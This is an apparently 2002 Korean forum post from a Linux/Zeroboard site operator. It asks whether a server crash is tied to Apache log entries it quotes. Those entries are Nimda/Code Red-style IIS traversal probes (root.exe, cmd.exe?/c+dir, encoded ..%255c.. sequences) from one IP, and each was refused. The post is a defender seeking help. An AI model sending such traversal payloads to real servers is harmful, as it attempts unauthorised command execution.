지난밤 새벽에 저희 홈페이지를 운영하는 서버가 새벽 3시경에 갑자기 다운되었읍니다.
하지만 같은 전원코드에 물려있던 다른 서버는 이상없이 운영중이었구요.
당시 마지막 아파치 로그 파일내용이 다음과 같은데 서버 다운이랑 관련이 있는건지 모르
겠습니다. OS는 리눅스, 제로보드를 사용하고 있습니다.
  로그파일을 보니 비슷한 내용지 그시점에 자주 기록되어 있었습니다.
 ---- 내용 ---------
218.144.20.253 - - [01/Jun/2002:02:49:14 +0900] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 282
218.144.20.253 - - [01/Jun/2002:02:49:14 +0900] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 280
218.144.20.253 - - [01/Jun/2002:02:49:14 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
218.144.20.253 - - [01/Jun/2002:02:49:15 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
218.144.20.253 - - [01/Jun/2002:02:49:15 +0900] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
218.144.20.253 - - [01/Jun/2002:02:49:15 +0900] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+d
ir HTT P/1.0" 404 321
218.144.20.253 - - [01/Jun/2002:02:49:15 +0900] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+d
ir HTT P/1.0" 404 321
218.144.20.253 - - [01/Jun/2002:02:49:16 +0900] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c..
/winnt /system32/cmd.exe?/c+dir HTTP/1.0" 404 337
218.144.20.253 - - [01/Jun/2002:02:49:16 +0900] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
218.144.20.253 - - [01/Jun/2002:02:49:16 +0900] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
218.144.20.253 - - [01/Jun/2002:02:49:18 +0900] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
218.144.20.253 - - [01/Jun/2002:02:49:19 +0900] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
218.144.20.253 - - [01/Jun/2002:02:49:20 +0900] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 28
7 218.144.20.253 - - [01/Jun/2002:02:49:21 +0900] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 28
7 218.144.20.253 - - [01/Jun/2002:02:49:23 +0900] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 40
4 304 218.144.20.253 - - [01/Jun/2002:02:49:25 +0900] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 40
4 304 여기까지가 마지막 기록된 ERROR_LOG 내용입니다.
access_log에도 같은 내용이 반복적으로 남아있더군요...혹시나 걱정되서 문의드립니다.